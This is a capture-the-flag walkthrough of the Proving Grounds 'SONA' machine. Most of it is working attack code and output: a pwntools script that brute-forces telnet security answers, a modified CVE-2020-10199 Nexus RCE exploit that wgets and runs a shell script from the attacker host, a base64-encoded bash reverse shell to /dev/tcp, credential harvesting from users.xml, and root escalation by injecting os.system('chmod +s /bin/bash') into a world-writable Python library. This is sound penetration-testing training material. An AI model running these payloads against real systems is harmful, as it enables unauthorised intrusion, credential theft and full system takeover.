Summary #
On port 23 there is an NEXUS BACKUP MANAGER
application running, which asks two questions to recover the admin password. Using Python we brute-force both answers and get the admin password. On port 8081 there is an Sonatype Nexus Repository Manager OSS 3.21.1-01
application running with an authenticated remote code execution vulnerability (CVE-2020-10199). Customizing this exploit we get initial access as the nexus
user. Finding credentials in the users.mxl
allows us to move laterally to the sona
user. As sona
we find there is a cronjob running with a Python script that uses a lirabry file /usr/lib/python3.8/base64.py
we can write to. Using these permissions we can escalate our privileges to the root
user.
Specifications #
- Name: SONA
- Platform: PG PRACTICE
- Points: 20
- Difficulty: Intermediate
- System overview: Linux sona 5.4.0-65-generic #73-Ubuntu SMP Mon Jan 18 17:25:17 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
- IP address: 192.168.146.159
- OFFSEC provided credentials: None
- HASH:
local.txt
:3820067e6424cb6f74b10c1cb8c6d608
- HASH:
proof.txt
:c30c2c8d572997cf469e50ce0b53a4ae
Preparation #
First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:
## create directory structure
mkdir sona && cd sona && mkdir enum files exploits uploads tools
## list directory
ls -la
total 28
drwxrwxr-x 7 kali kali 4096 Sep 28 09:44 .
drwxrwxr-x 81 kali kali 4096 Sep 28 09:44 ..
drwxrwxr-x 2 kali kali 4096 Sep 28 09:44 enum
drwxrwxr-x 2 kali kali 4096 Sep 28 09:44 exploits
drwxrwxr-x 2 kali kali 4096 Sep 28 09:44 files
drwxrwxr-x 2 kali kali 4096 Sep 28 09:44 tools
drwxrwxr-x 2 kali kali 4096 Sep 28 09:44 uploads
## set bash variable
ip=192.168.146.159
## ping target to check if it's online
ping $ip
PING 192.168.146.159 (192.168.146.159) 56(84) bytes of data.
64 bytes from 192.168.146.159: icmp_seq=1 ttl=61 time=23.3 ms
64 bytes from 192.168.146.159: icmp_seq=2 ttl=61 time=35.4 ms
^C
--- 192.168.146.159 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 23.284/29.355/35.427/6.071 ms
Reconnaissance #
Portscanning #
Using Rustscan
we can see what TCP ports are open. This tool is part of my default portscan flow.
## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
Port scanning: Making networking exciting since... whenever.
[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.146.159:23
Open 192.168.146.159:8081
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-28 09:48 CEST
Initiating Ping Scan at 09:48
Scanning 192.168.146.159 [4 ports]
Completed Ping Scan at 09:48, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 09:48
Completed Parallel DNS resolution of 1 host. at 09:48, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 09:48
Scanning 192.168.146.159 [2 ports]
Discovered open port 23/tcp on 192.168.146.159
Discovered open port 8081/tcp on 192.168.146.159
Completed SYN Stealth Scan at 09:48, 0.05s elapsed (2 total ports)
Nmap scan report for 192.168.146.159
Host is up, received echo-reply ttl 61 (0.022s latency).
Scanned at 2025-09-28 09:48:48 CEST for 0s
PORT STATE SERVICE REASON
23/tcp open telnet syn-ack ttl 61
8081/tcp open blackice-icecap syn-ack ttl 61
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.29 seconds
Raw packets sent: 6 (240B) | Rcvd: 3 (116B)
Copy the output of open ports into a file called ports
within the files
directory.
## edit the ``files/ports` file
nano files/ports
## content `ports` file:
23/tcp open telnet syn-ack ttl 61
8081/tcp open blackice-icecap syn-ack ttl 61
Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:
## get a list, comma separated of the open port(s)
cd files && cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports && cd ..
## output previous command
23,8081
## use this output in the `nmap` command below:
sudo nmap -T3 -p 23,8081 -sCV -vv $ip -oN enum/nmap-services-tcp
Output of NMAP:
PORT STATE SERVICE REASON VERSION
23/tcp open telnet? syn-ack ttl 61
| fingerprint-strings:
| GenericLines, GetRequest, HTTPOptions, RTSPRequest:
| ====================
| NEXUS BACKUP MANAGER
| ====================
| ANSONE Answer question one
| ANSTWO Answer question two
| BACKUP Perform backup
| EXIT Exit
| HELP Show help
| HINT Show hints
| RECOVER Recover admin password
| RESTORE Restore backup
| Incorrect
| NULL, tn3270:
| ====================
| NEXUS BACKUP MANAGER
| ====================
| ANSONE Answer question one
| ANSTWO Answer question two
| BACKUP Perform backup
| EXIT Exit
| HELP Show help
| HINT Show hints
| RECOVER Recover admin password
|_ RESTORE Restore backup
8081/tcp open http syn-ack ttl 61 Jetty 9.4.18.v20190429
|_http-favicon: Unknown favicon MD5: 9A008BECDE9C5F250EDAD4F00E567721
| http-robots.txt: 2 disallowed entries
|_/repository/ /service/
| http-methods:
|_ Supported Methods: GET HEAD
|_http-title: Nexus Repository Manager
|_http-server-header: Nexus/3.21.1-01 (OSS)
<SNIP>
Initial Access #
23/tcp open telnet? syn-ack ttl 61
| fingerprint-strings:
| GenericLines, GetRequest, HTTPOptions, RTSPRequest:
| ====================
| NEXUS BACKUP MANAGER
| ====================
| ANSONE Answer question one
| ANSTWO Answer question two
| BACKUP Perform backup
| EXIT Exit
| HELP Show help
| HINT Show hints
| RECOVER Recover admin password
| RESTORE Restore backup
| Incorrect
| NULL, tn3270:
| ====================
| NEXUS BACKUP MANAGER
| ====================
| ANSONE Answer question one
| ANSTWO Answer question two
| BACKUP Perform backup
| EXIT Exit
| HELP Show help
| HINT Show hints
| RECOVER Recover admin password
|_ RESTORE Restore backup
8081/tcp open http syn-ack ttl 61 Jetty 9.4.18.v20190429
|_http-favicon: Unknown favicon MD5: 9A008BECDE9C5F250EDAD4F00E567721
| http-robots.txt: 2 disallowed entries
|_/repository/ /service/
| http-methods:
|_ Supported Methods: GET HEAD
|_http-title: Nexus Repository Manager
|_http-server-header: Nexus/3.21.1-01 (OSS)
On port 23 there is a telnet service available. Connecting to this service shows a NEXUS BACKUP MANAGER
. If we type HINT
we get two questions. The first What is your zodiac sign?
and the second: What is your favorite color?
. We can also answer just one question, by typing ANSONE
instead of HINT
or for just the second question: ANSTWO
.
## connect to telnet service using netcat
nc -nv $ip 23
(UNKNOWN) [192.168.146.159] 23 (telnet) open
====================
NEXUS BACKUP MANAGER
====================
ANSONE Answer question one
ANSTWO Answer question two
BACKUP Perform backup
EXIT Exit
HELP Show help
HINT Show hints
RECOVER Recover admin password
RESTORE Restore backup
## type `HINT`
HINT
1.What is your zodiac sign?
2.What is your favorite color?
## trying just question one
nc -nv $ip 23
(UNKNOWN) [192.168.146.159] 23 (telnet) open
====================
NEXUS BACKUP MANAGER
====================
ANSONE Answer question one
ANSTWO Answer question two
BACKUP Perform backup
EXIT Exit
HELP Show help
HINT Show hints
RECOVER Recover admin password
RESTORE Restore backup
ANSONE
Please Enter Answer
ANSONE <answer>
yellow
Incorrect
We can automate this guessing to get the correct answer using Python. Let’s create a script that will do this for us. But first, create a file called colors.txt
that contains a set of colors.
## change directory
cd exploits
## create a file called `colors.txt` with this content
red
blue
green
orange
white
black
yellow
purple
silver
gray
pink
olive
maroon
violet
charcoal
magenta
bronze
cream
gold
tan
teal
mustard
navy blue
coral
burgundy
lavender
mauve
cyan
peach
rust
indigo
ruby
salmon
azure
beige
turquoise
aqua
mint
crimson
saffron
grapevine
fuschia
amber
pearl
ivory
tangerine
garnet
emerald
brunette
sapphire
lilac
rosewood
ash
mocha
And a file called zodiac.txt
with all the zodiac signs.
## create a file called `zodiac.txt` with this content
aquarius
aries
cancer
capricorn
gemini
leo
libra
pisces
sagittarius
scorpio
taurus
virgo
Because we are going to use the Python module pwn
we’re first going to setup a virtual environment to cleanly install this module.
## setup a virtual environment
python3 -m venv venv
## activate the virtual environment
source venv/bin/activate
## install `pwn` module
pip3 install pwn
Now, create the Python script that will do the work for us. Let’s call the file enum_telnet.py
from pwn import *
import sys
def interact(word, ip, port, command="ANSTWO"):
try:
r = remote(ip, int(port)) # Convert port to int
r.recvlines(11)
r.sendline(command.encode())
r.recvlines(2)
r.sendline(word.encode())
response = r.recvline()
r.close()
if b'Incorrect' not in response:
log.info(f"Correct! Password: {word}")
return True
return False
except Exception as e:
log.error(f"Error connecting to {ip}:{port}: {e}")
return False
def main(ip, port, filename, command="ANSTWO"):
try:
with open(filename) as file:
for line in file:
if interact(line.strip(), ip, port, command):
break
except FileNotFoundError:
log.error(f"File {filename} not found")
sys.exit(1)
except Exception as e:
log.error(f"Error reading file {filename}: {e}")
sys.exit(1)
if __name__ == "__main__":
# Debugging: Print sys.argv for verification
print(f"Arguments received: {sys.argv}")
print(f"Number of arguments: {len(sys.argv)}")
# Check if correct number of arguments is provided
if len(sys.argv) not in [4, 5]:
print(f"Usage: {sys.argv[0]} <ip> <port> <filename> [command]")
sys.exit(1)
# Get arguments from command line
target_ip = sys.argv[1]
target_port = sys.argv[2]
text_file = sys.argv[3]
# Use default command "ANSTWO" if not provided
command = sys.argv[4] if len(sys.argv) == 5 else "ANSTWO"
main(target_ip, target_port, text_file, command)
Running the script shows the correct color is black
and the correct zodiac is leo
.
## running the script for testing answer one for colors
python3 enum_telnet.py 192.168.146.159 23 ANSONE colors.txt
Arguments received: ['enum_telnet.py', '192.168.146.159', '23', 'colors.txt']
Number of arguments: 4
[+] Opening connection to 192.168.146.159 on port 23: Done
[*] Closed connection to 192.168.146.159 port 23
[+] Opening connection to 192.168.146.159 on port 23: Done
[*] Closed connection to 192.168.146.159 port 23
[+] Opening connection to 192.168.146.159 on port 23: Done
[*] Closed connection to 192.168.146.159 port 23
[+] Opening connection to 192.168.146.159 on port 23: Done
[*] Closed connection to 192.168.146.159 port 23
[+] Opening connection to 192.168.146.159 on port 23: Done
[*] Closed connection to 192.168.146.159 port 23
[+] Opening connection to 192.168.146.159 on port 23: Done
[*] Closed connection to 192.168.146.159 port 23
[*] Correct! Password: black
## running the script for testing answer two for zodiacs
python3 enum_telnet.py 192.168.146.159 23 ANSTWO zodiac.txt
Arguments received: ['enum_telnet.py', '192.168.146.159', '23', 'zodiac.txt']
Number of arguments: 4
[+] Opening connection to 192.168.146.159 on port 23: Done
[*] Closed connection to 192.168.146.159 port 23
[+] Opening connection to 192.168.146.159 on port 23: Done
[*] Closed connection to 192.168.146.159 port 23
[+] Opening connection to 192.168.146.159 on port 23: Done
[*] Closed connection to 192.168.146.159 port 23
[+] Opening connection to 192.168.146.159 on port 23: Done
[*] Closed connection to 192.168.146.159 port 23
[+] Opening connection to 192.168.146.159 on port 23: Done
[*] Closed connection to 192.168.146.159 port 23
[+] Opening connection to 192.168.146.159 on port 23: Done
[*] Closed connection to 192.168.146.159 port 23
[*] Correct! Password: leo
So the answers are: black
and leo
. Using the RECOVER
function in the telnet application and passing the password blackleo
we get a string back: 3e409e89-514c-4f9f-955e-dfa5c4083518
.
## using the `RECOVER` function and adding the password `blackleo`
RECOVER <password>
blackleo
3e409e89-514c-4f9f-955e-dfa5c4083518
## deactivate the python virtual environment
deactivate
On port 8081 there is an Sonatype Nexus Repository Manager OSS 3.21.1-01
application running.

Using found password we can log into the application with these credentials: admin:3e409e89-514c-4f9f-955e-dfa5c4083518
. During login the application asks to change the password. Here we entered the same password.

Searching online we can find this authenticated remote execution exploit: https://www.exploit-db.com/exploits/49385, (CVE-2020-10199). This exploit runs one command at a time. The code below is runs multiple commands at once to get a reverse shell easier. But first we need to create a local reverse shell bash file, we can download and execute to get initial access.
## get the local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.160
## create a base64 encoded reverse shell command
echo -n 'bash -i >& /dev/tcp/192.168.45.160/8081 0>&1' | base64
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTkyLjE2OC40NS4xNjAvODA4MSAwPiYx
## create a file called `shell.sh` with this content
echo -n YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTkyLjE2OC40NS4xNjAvODA4MSAwPiYx | base64 -d | bash
## setup a webserver
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
## setup a listener on an already open port 8081
nc -lvnp 8081
listening on [any] 8081 ...
Now this is the adapted Python script that runs multiple commands at one. Save this content to a file called exploit.py
#!/usr/bin/python3
import sys
import base64
import requests
URL = 'http://192.168.146.159:8081'
USERNAME = 'admin'
PASSWORD = '3e409e89-514c-4f9f-955e-dfa5c4083518'
COMMANDS = [
'wget http://192.168.45.160/shell.sh -O /var/tmp/shell.sh',
'chmod +x /var/tmp/shell.sh',
'sh /var/tmp/shell.sh'
]
s = requests.Session()
print('Logging in')
body = {
'username': base64.b64encode(USERNAME.encode('utf-8')).decode('utf-8'),
'password': base64.b64encode(PASSWORD.encode('utf-8')).decode('utf-8')
}
r = s.post(URL + '/service/rapture/session', data=body)
if r.status_code != 204:
print('Login unsuccessful')
print(r.status_code)
sys.exit(1)
print('Logged in successfully')
errors = []
for CMD in COMMANDS:
print(f'Executing command: {CMD}')
body = {
'name': 'internal',
'online': True,
'storage': {
'blobStoreName': 'default',
'strictContentTypeValidation': True
},
'group': {
'memberNames': [
f'$\\A{{\'\'.getClass().forName(\'java.lang.Runtime\').getMethods()[6].invoke(null).exec(\'{CMD}\')}}'
]
},
}
try:
r = s.post(URL + '/service/rest/beta/repositories/go/group', json=body)
if 'java.lang.ProcessImpl' in r.text:
print(f'Command "{CMD}" executed successfully')
else:
error_msg = f'Error executing command "{CMD}", the following was returned by Nexus:\n{r.text}'
print(error_msg)
errors.append(error_msg)
except requests.RequestException as e:
error_msg = f'Error executing command "{CMD}": {str(e)}'
print(error_msg)
errors.append(error_msg)
if errors:
print('\nSummary of errors:')
for error in errors:
print(error)
sys.exit(1)
else:
print('All commands executed successfully')
Running the exploit gives us initial access as the nexus
user in the /home/nexus/nexus-3.21.1-01
directory.
## running the exploit
python3 exploit.py
Logging in
Logged in successfully
Executing command: wget http://192.168.45.160/shell.sh -O /var/tmp/shell.sh
Error executing command "wget http://192.168.45.160/shell.sh -O /var/tmp/shell.sh", the following was returned by Nexus:
[{"id":"FIELD memberNames","message":"Member repository does not exist: Ajava.lang.UNIXProcess@6a4e35a9"}]
Executing command: chmod +x /var/tmp/shell.sh
Error executing command "chmod +x /var/tmp/shell.sh", the following was returned by Nexus:
[{"id":"FIELD memberNames","message":"Member repository does not exist: Ajava.lang.UNIXProcess@228e2f50"}]
Executing command: sh /var/tmp/shell.sh
Error executing command "sh /var/tmp/shell.sh", the following was returned by Nexus:
[{"id":"FIELD memberNames","message":"Member repository does not exist: Ajava.lang.UNIXProcess@79e01369"}]
Summary of errors:
Error executing command "wget http://192.168.45.160/shell.sh -O /var/tmp/shell.sh", the following was returned by Nexus:
[{"id":"FIELD memberNames","message":"Member repository does not exist: Ajava.lang.UNIXProcess@6a4e35a9"}]
Error executing command "chmod +x /var/tmp/shell.sh", the following was returned by Nexus:
[{"id":"FIELD memberNames","message":"Member repository does not exist: Ajava.lang.UNIXProcess@228e2f50"}]
Error executing command "sh /var/tmp/shell.sh", the following was returned by Nexus:
[{"id":"FIELD memberNames","message":"Member repository does not exist: Ajava.lang.UNIXProcess@79e01369"}]
## catching the reverse shell
nc -lvnp 8081
listening on [any] 8081 ...
connect to [192.168.45.160] from (UNKNOWN) [192.168.146.159] 34882
bash: cannot set terminal process group (961): Inappropriate ioctl for device
bash: no job control in this shell
nexus@sona:~/nexus-3.21.1-01$
## print current working directory
nexus@sona:~/nexus-3.21.1-01$ pwd
/home/nexus/nexus-3.21.1-01
## find `local.txt` on the filesystem
nexus@sona:~/nexus-3.21.1-01$ find / -iname 'local.txt' 2>/dev/null
/home/sona/local.txt
## print `local.txt`
nexus@sona:~/nexus-3.21.1-01$ cat /home/sona/local.txt
3820067e6424cb6f74b10c1cb8c6d608
Lateral Movement #
To get a proper TTY we upgrade our shell using the script
binary.
## determine location script binary
which script
/usr/bin/script
## start the script binary, after that press CTRL+Z
/usr/bin/script -qc /bin/bash /dev/null
## after this command press the `enter` key twice
stty raw -echo ; fg ; reset
## run the following to be able to clear the screen and set the terrminal correct
export TERM=xterm && stty columns 200 rows 200
Searching for password we can find the password for the sona
user: sona:KuramaThe9
. Trying to switch to the sona
user, we can indeed do this.
## search for passwords within the application directory
nexus@sona:~/nexus-3.21.1-01$ grep -Rni 'password' 2>/dev/null
<SNIP>
nexus-3.21.1-01/system/users.xml:4:<password>KuramaThe9</password>
<SNIP>
## print `./system/users.xml`
nexus@sona:~/nexus-3.21.1-01$ cat ./system/users.xml
<users>
<id>1001</id>
<username>sona</username>
<password>KuramaThe9</password>
</users>
## switch to the `sona` user
nexus@sona:~/nexus-3.21.1-01$ su sona
Password:
$
## switch to bash shell
$ bash
sona@sona:/home/nexus/nexus-3.21.1-01$
Privilege Escalation #
Now, upload linpeas.sh
to the target and run it.
## change directory locally
cd uploads
## download latest version of linpeas.sh
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
## get local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.160
## start local webserver
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
## on target
## change directory
sona@sona:~/nexus-3.21.1-01$ cd /var/tmp
sona@sona:/var/tmp$
## download `linpeas.sh`
sona@sona:/var/tmp$ wget http://192.168.45.160/linpeas.sh
--2025-09-28 14:36:44-- http://192.168.45.160/linpeas.sh
Connecting to 192.168.45.160:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 961834 (939K) [text/x-sh]
Saving to: ‘linpeas.sh’
linpeas.sh 0%[ linpeas.sh 100%[=============================================================================================================>] 939.29K 5.78MB/s in 0.2s
2025-09-28 14:36:44 (5.78 MB/s) - ‘linpeas.sh’ saved [961834/961834]
## set the execution bit
sona@sona:/var/tmp$ chmod +x linpeas.sh
## run `linpeas.sh`
sona@sona:/var/tmp$ ./linpeas.sh
The linpeas.sh
output shows there is a cronjob /etc/cron.d/logcrypt
running this python script /home/sona/logcrypt.py
every minute as the root
user. Reading this Python script it encodes the /var/log/auth.log
and writes the output to /tmp/log.crypt
. Also the linpeas.sh
output shows we can write to the /usr/lib/python3.8/base64.py
library. Since we can write to /usr/lib/python3.8/base64.py
which is used in the logcrypt.py
, we can escalate our privileges to the root
user. If the file shows you cannot write to this file, revert the target. Now, let’s add code to this file that will add the SUID bit to the bash
binary an escalate our privileges to the root
user.
## print `/etc/cron.d/logcrypt`
sona@sona:/var/tmp$ cat /etc/cron.d/logcrypt
* * * * * root python3 /home/sona/logcrypt.py
## print `/home/sona/logcrypt.py`
sona@sona:/var/tmp$ cat /home/sona/logcrypt.py
#!/usr/bin/python3
import base64
log_file = open('/var/log/auth.log','rb')
crypt_data = base64.b64encode(log_file.read())
cryptlog_file = open('/tmp/log.crypt','wb')
cryptlog_file.write(crypt_data)
## verify permissions `/usr/lib/python3.8/base64.py`
sona@sona:/var/tmp$ ls -la /usr/lib/python3.8/base64.py
-rwxrwxrwx 1 root root 20380 Jul 28 2020 /usr/lib/python3.8/base64.py
## add code to set SUID bit on `bash` binary
sona@sona:/home/nexus/nexus-3.21.1-01$ echo 'import os;os.system("chmod +s /bin/bash")' >> /usr/lib/python3.8/base64.py
## verify SUID bit set
sona@sona:/home/nexus/nexus-3.21.1-01$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1183448 Jun 18 2020 /bin/bash
## escalate to the `root` user using the `bash` binary
sona@sona:/home/nexus/nexus-3.21.1-01$ bash -p
bash-5.0#
## print `proof.txt`
bash-5.0# cat /root/proof.txt
c30c2c8d572997cf469e50ce0b53a4ae
References #
[+] https://www.exploit-db.com/exploits/49385
[+] https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh